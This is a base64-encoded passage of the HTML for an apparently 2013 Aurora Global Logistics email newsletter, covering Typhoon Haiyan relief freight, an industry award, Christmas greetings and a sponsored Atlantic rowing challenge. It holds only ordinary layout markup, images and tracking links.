cGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJv ZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyIHZhbGln bj0idG9wIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHN0eWxlPSIiIHdpZHRoPSIyMDAiPjxpbWcgYWx0PSIiIHdpZHRoPSIzMjQiIGhlaWdodD0i MjQxIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9n aXN0aWNzL2ltYWdlcy9wbGFuZS1oYWl5YW4tYXAuanBnIj48YnI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMTUiPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFz cz0iY29udGVudGJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPGg0IHN0eWxlPSJtYXJnaW4tdG9wOiAwcHg7Ij5BdXJvcmEgR2l2ZXMgYSBIZWxw aW5nIEhhbmQ8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8cD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsi PkF1cm9yYSByZWNlbnRseSB0b29rIHRoZSBjYWxsIHRvIGhlbHAgaW4gZGVsaXZlcmluZyB1cmdl bnRseSBuZWVkZWQgbWVkaWNhbCBwcm9kdWN0cyB0byB0aGUgUGhpbGlwcGluZXMgYW5kIGNvdmVy ZWQgdGhlIGNvc3QgdG8gYWlyIGZyZWlnaHQgYm94ZXMgb2YgMTUwa2cgb2Ygc3VwcGxpZXMgdG8g YXNzaXN0IHRoZSBmYW1pbGllcyB3aG8gd2VyZSB0cmFnaWNhbGx5IGFmZmVjdGVkIGJ5IFR5cGhv b24gSGFpeWFuLjwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxwPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGNvbG9yOiAj MDAwMDAwOyI+V2Ugd2lzaCB0aGUgdGVhbSB0cmF2ZWxsaW5nIHRvIHRoZSBQaGlsaXBwaW5lcyBh bGwgdGhlIHZlcnkgYmVzdCBpbiB0aGVpciBlbmRlYXZvcnMuPC9zcGFuPjwvcD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ciB2YWxpZ249InRvcCI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iMjAw Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PGlt ZyBhbHQ9IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2Jh bExvZ2lzdGljcy9pbWFnZXMvMjAxMy1DbHViLU1hcmluZS1BdXN0cmFsaWFuLU1hcmluZS1FeHBv cnQtYW5kLVN1cGVyeWFjaHQtSW5kdXN0cnktQXdhcmQtV2lubmVycy02NjV4NDQzX3RodW1iLmpw ZyI+Jm5ic3A7PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgc3R5bGU9IiIgd2lkdGg9IjE1Ij4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbnRibG9jayI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzcGFuIHN0 eWxlPSJmb250LXNpemU6IDE1cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyBsaW5lLWhlaWdodDogMjRw eDsgY29sb3I6ICMwMDAwMDA7Ij4mbmJzcDs8L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAx NXB4OyBmb250LXdlaWdodDogYm9sZDsgbGluZS1oZWlnaHQ6IDI0cHg7IGNvbG9yOiAjMDAwMDAw OyI+QXVyb3JhJ3MgQXdhcmQtV2lubmluZyBTZXJ2aWNlPC9zcGFuPjwvcD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQt ZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5SZWFkIGFib3V0IEF1cm9yYSdzIGF3YXJk LXdpbm5pbmcgc2VydmljZSBpbiB0aGUgY3VycmVudCBBdXN0cmFsaWFuIE1hcmluZSBJbmR1c3Ry eSBFeHBvcnQgRGlyZWN0b3J5LuKAizwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJp YWw7IGNvbG9yOiAjMDAwMDAwOyI+PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRp ci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYwNjQ4Mzk0MDI0MDlkNDFjZGEwYTA3MzIzMDky ZGNjNzEiPkZJTkQgT1VUIE1PUkU8L2E+PC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+Jm5ic3A7PC9wPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRyIHZhbGlnbj0idG9wIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSIyMDAiPiZuYnNw OzxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFH bG9iYWxMb2dpc3RpY3MvaW1hZ2VzL0NocmlzdG1hcyUyMENhcmQlMjBQaWMuanBnIiB3aWR0aD0i MzI1IiBoZWlnaHQ9IjIxNSI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSIxNSI+Jm5ic3A7PC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250 ZW50YmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8cD4mbmJzcDs8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDxoND5NZXJyeSBDaHJpc3RtYXMhJm5ic3A7PC9oND4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5 OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5UaGUgdGVhbSBhdCBBdXJvcmEgd291bGQgbGlrZSB0 byB0aGFuayB5b3UgZm9yIHlvdXIgc3VwcG9ydCB0aHJvdWdob3V0IDIwMTMgYW5kIHdpc2hlcyB5 b3UgYW5kIHlvdXIgZmFtaWx5LCBhbGwgdGhlIGJlc3QgZm9yIHRoZSBmZXN0aXZlIHNlYXNvbi48 L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRo PSIzMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAmbmJzcDs8L3A+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxwPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHA+Jm5ic3A7PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8cD4mbmJzcDs8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIg Y29sc3Bhbj0iMyIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAg ICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+Jm5ic3A7 PC9wPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDwv dHI+CiAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAg ICAgICA8ZGl2IHVuc2VsZWN0YWJsZT0ib24iIGNsYXNzPSJyckhhbmRsZSByclNXIiBzdHlsZT0i cG9zaXRpb246IGFic29sdXRlOyBjdXJzb3I6IHN3LXJlc2l6ZTsgei1pbmRleDogYXV0bzsgaGVp Z2h0OiA3cHg7IHdpZHRoOiA3cHg7IHRvcDogMTk0Ny41cHg7IGxlZnQ6IDMyNS41cHg7Ij4mbmJz cDs8L2Rpdj4KICAgICAgICAgICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBjbGFzcz0icnJIYW5k bGUgcnJTIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBjdXJzb3I6IHMtcmVzaXplOyB6LWlu ZGV4OiBhdXRvOyBoZWlnaHQ6IDdweDsgd2lkdGg6IDdweDsgdG9wOiAxOTQ3LjVweDsgbGVmdDog NjM3cHg7Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAgICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBj bGFzcz0icnJIYW5kbGUgcnJTRSIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgY3Vyc29yOiBz ZS1yZXNpemU7IHotaW5kZXg6IGF1dG87IGhlaWdodDogN3B4OyB3aWR0aDogN3B4OyB0b3A6IDE5 NDcuNXB4OyBsZWZ0OiA5NDguNXB4OyI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgIDxkaXYgdW5z ZWxlY3RhYmxlPSJvbiIgY2xhc3M9InJySGFuZGxlIHJyRSIgc3R5bGU9InBvc2l0aW9uOiBhYnNv bHV0ZTsgY3Vyc29yOiBlLXJlc2l6ZTsgei1pbmRleDogYXV0bzsgaGVpZ2h0OiA3cHg7IHdpZHRo OiA3cHg7IHRvcDogOTkycHg7IGxlZnQ6IDk0OC41cHg7Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAg ICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBjbGFzcz0icnJIYW5kbGUgcnJORSIgc3R5bGU9InBv c2l0aW9uOiBhYnNvbHV0ZTsgY3Vyc29yOiBuZS1yZXNpemU7IHotaW5kZXg6IGF1dG87IGhlaWdo dDogN3B4OyB3aWR0aDogN3B4OyB0b3A6IDM2LjVweDsgbGVmdDogOTQ4LjVweDsiPiZuYnNwOzwv ZGl2PgogICAgICAgICAgICA8ZGl2IHVuc2VsZWN0YWJsZT0ib24iIGNsYXNzPSJyckhhbmRsZSBy ck4iIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGN1cnNvcjogbi1yZXNpemU7IHotaW5kZXg6 IGF1dG87IGhlaWdodDogN3B4OyB3aWR0aDogN3B4OyB0b3A6IDM2LjVweDsgbGVmdDogNjM3cHg7 Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAgICAgPGRpdiB1bnNlbGVjdGFibGU9Im9uIiBjbGFzcz0i cnJIYW5kbGUgcnJOVyIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgY3Vyc29yOiBudy1yZXNp emU7IHotaW5kZXg6IGF1dG87IGhlaWdodDogN3B4OyB3aWR0aDogN3B4OyB0b3A6IDM2LjVweDsg bGVmdDogMzI1LjVweDsiPiZuYnNwOzwvZGl2PgogICAgICAgICAgICA8ZGl2IHVuc2VsZWN0YWJs ZT0ib24iIGNsYXNzPSJyckhhbmRsZSByclciIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGN1 cnNvcjogdy1yZXNpemU7IHotaW5kZXg6IGF1dG87IGhlaWdodDogN3B4OyB3aWR0aDogN3B4OyB0 b3A6IDk5MnB4OyBsZWZ0OiAzMjUuNXB4OyI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgIDxpbWcg YWx0PSIiIHdpZHRoPSIxIiBoZWlnaHQ9IjI1IiBjbGFzcz0iZGl2aWRlciIgc3R5bGU9ImJvcmRl ci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRwOi8vd2Vic2l0ZXMu bWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc3BhY2VyLmdpZiI+ CiAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjIwIiBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGFi bGUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAg ICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBjbGFzcz0iY2VsbCIgc3R5bGU9IiIgd2lkdGg9IjYyMCI+CiAgICAgICAgICAg ICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIw IiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNmZmZmZmY7IiBjb2xz cGFuPSIzIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyB3aWR0aD0i NjAwIiBoZWlnaHQ9Ijg1IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTog c29saWQ7IiBhbHQ9IkFkdmVudHVyZSA0IGEgQ3VyZSIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFp bGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvYWR2ZW50dXJlXzRfYV9j dXJlLmpwZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHls ZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVp Z2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1 NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0ZCBjbGFzcz0iY29udGVudGJsb2NrIiB2YWxpZ249InRvcCIgc3R5bGU9ImJhY2tncm91bmQt Y29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSI1NDAiPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjU0MCIgYm9yZGVyPSIwIiBjZWxsc3Bh Y2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHZhbGlnbj0idG9wIiBzdHlsZT0iIiB3aWR0aD0iMjUwIj48aW1nIGFsdD0iIiB3aWR0aD0i MjUwIiBoZWlnaHQ9IjE1MCIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1 cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvYW5kcmV3aW5sZWFkLmpwZyI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoND5BbmRyZXcgaW4gdGhlIExl YWQ8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg c3R5bGU9IiIgd2lkdGg9IjQwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSIiIHdpZHRoPSIyNTAiPjxp bWcgYWx0PSIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9i YWxMb2dpc3RpY3MvaW1hZ2VzL0lNR183ODU4LjEzNTAwNl90aHVtYi5qcGciPjxicj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0PiZuYnNwO1N1cHBv cnQgQW5kcmV3PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0i dG9wIiBzdHlsZT0iIiB3aWR0aD0iMjUwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGNvbG9yOiAjMDAw MDAwOyI+QW5kcmV3IGlzIGN1cnJlbnRseSBsZWFkaW5nIGFzIHRoZSBzb2xvIHJhY2VyIGFuZCBp cyBpbiBoaWdoIHNwaXJpdHMuIFRoZSBBdGxhbnRpYyBPcGVyYXRpb25zIFJlcG9ydCBGbGVldCB3 b24ndCBoYXZlIG1vdmVkIG11Y2ggZHVlIHRvIGhpZ2ggd2luZHMgYW5kIHN3ZWxsIGFuZCByYWNl cnMgYXJlIGN1cnJlbnRseSBvbiBwYXJhIGFuY2hvciwgd2FpdGluZyBpdCBvdXQgaW4gdGhlIGNh YmluITwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDxwPjxzdHJvbmc+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDov L21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYwYjNiMjU0 ZDEyYzMzNDBhNzgwMTRhODM5ODYwMjA0ZWMiIHRhcmdldD0iYmxhbmsiPkZJTkQgT1VUIE1PUkU8 L2E+PC9zdHJvbmc+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjQwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSIiIHdpZHRo PSIyNTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 bXVsdGlsaW5lIGxhYmVsPSJBZHZlbnR1cmUgMiBDb250ZW50Ij4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5 OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5Gb3IgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCBob3cg eW91IGNhbiBzcG9uc29yIEFuZHJldyBpbiB0aGUgVGFsaXNrZXIgV2hpc2t5IEF0bGFudGljIENo YWxsZW5nZSBwbGVhc2UgdmlzaXQgaGlzIHdlYnNpdGUuPC9zcGFuPjwvcD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHN0cm9uZz48c3BhbiBzdHls ZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPjxhIG9uY2xpY2s9InJldHVy biBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0 NCZUPTEzODMzNSZVPTU2MGVlZWQwYWRlOTZiNjQxNzFhZTVmZTZhMTZiM2IwYzJmIiB0YXJnZXQ9 ImJsYW5rIj5GSU5EIE9VVCBNT1JFPC9hPjwvc3Bhbj48L3N0cm9uZz48L3A+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L211bHRpbGluZT4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJs ZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2Io MjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xv cjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVpZ2h0PSIxMCI+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAg ICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAg ICAgICAgPC90Ym9keT4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPGltZyBhbHQ9 IiIgd2lkdGg9IjEiIGhlaWdodD0iMjUiIGNsYXNzPSJkaXZpZGVyIiBzdHlsZT0iYm9yZGVyLXdp ZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWls YmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zcGFjZXIuZ2lmIj4KICAg ICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJ0YWJsZSIg Ym9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAg ICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAg ICAgPHRkIGNsYXNzPSJjZWxsIiBzdHlsZT0iIiB3aWR0aD0iNjIwIj4KICAgICAgICAgICAgICAg ICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl bGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUp OyIgY29sc3Bhbj0iMyIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9y OiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsi PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHdpZHRoPSI1MzYiIGhl aWdodD0iMTgiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsg bWFyZ2luLWJvdHRvbTogMjVweDsiIGFsdD0iT2NlYW4gTGl2ZSBOZXdzIiBzcmM9Imh0dHA6Ly93 ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9vY2Vh bl9saXZlX25ld3MuanBnIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3Jv 